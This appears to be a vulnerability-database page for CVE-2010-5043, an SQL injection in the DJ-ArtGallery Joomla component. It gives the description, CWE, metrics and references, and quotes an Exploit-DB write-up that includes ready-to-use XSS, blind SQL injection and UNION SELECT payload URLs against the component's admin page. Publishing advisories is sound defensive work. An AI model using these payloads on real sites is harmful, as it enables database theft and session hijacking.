CVE-2010-5043 : Detail

CVE-2010-5043

SQL Injection
A03-Injection
0.22%V3
Network
2011-11-02
20h00 +00:00
2017-08-28
10h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

SQL injection vulnerability in the DJ-ArtGallery (com_djartgallery) component 0.9.1 for Joomla! allows remote authenticated users to execute arbitrary SQL commands via the cid[] parameter in an editItem action to administrator/index.php.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 6 AV:N/AC:M/Au:S/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 13737

Publication date : 2010-06-05 22h00 +00:00
Author : d0lc3
EDB Verified : Yes

#Exploit Title: Joomla Component com_djartgallery Multiple Vulnerabilities #Date: 04/06/2010 #Author: Tomasz Kowalski #Software Link: http://www.design-joomla.eu/downloads/download/components/dj-artgallery.html #Version: 0.9.1 #Tested on: Linux ubuntu32 2.6.32-22-generic x64 #Summary: [+] Cross Site Scripting on administrator/components/com_djartgallery/views/editimage/tmpl/default.php: We can fond this code on line 183: ... <input type="hidden" name="id" value="<?php echo JRequest::getVar('id'); ?>" /> <input type="hidden" name="option" value="com_djartgallery" /> <input type="hidden" name="task" value="editImage" /> ... You must see it }x) <input type="hidden" name="id" value="<?php echo JRequest::getVar('id'); ?>" /> Method to exploit this could be next code injection: http://localhost/joomla/administrator/index.php?option=com_djartgallery&task=editItem &cid[]=%22%3E%3C/form%3E%3CSCRIPT%3Ealert%28%22XSS%20by%20r0i%22%29;%3C/script%3E [+]Blind SQL Injection Also we can extract it databases information through Blind SQL Injection, on same parameter, how to we will see on next code: administrator/components/com_djartgallery/controller.php, line 382: $link = 'index.php?option=com_djartgallery&task=com_djartgallery&task=editItem&cid[]='.JRequest::getVar('id'); To exploit it: http://victim/administrator/index.php?option=com_djartgallery&task=editItem &cid[]=1'+and+1=1+--+ Field 'Select Article' its changed when reply its true/false; but too its likely that run UNION injection: http://victim/administrator/index.php?option=com_djartgallery&task=editItem &cid[]=-1%27/*!UNION%20SELECT%20@@version,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25*/+--+ by r0i by r0i by r0i by r0i by r0i by r0i by r0i by r0i by r0i by r0i by r0i by r0i

Products Mentioned

Configuraton 0

Blueconstantmedia>>Com_djartgallery >> Version 0.9.1

    Joomla>>Joomla\! >> Version *

    References

    http://www.exploit-db.com/exploits/13737/
    Tags : exploit, x_refsource_EXPLOIT-DB
    http://www.securityfocus.com/bid/40580
    Tags : vdb-entry, x_refsource_BID
    http://secunia.com/advisories/40073
    Tags : third-party-advisory, x_refsource_SECUNIA
    http://osvdb.org/65187
    Tags : vdb-entry, x_refsource_OSVDB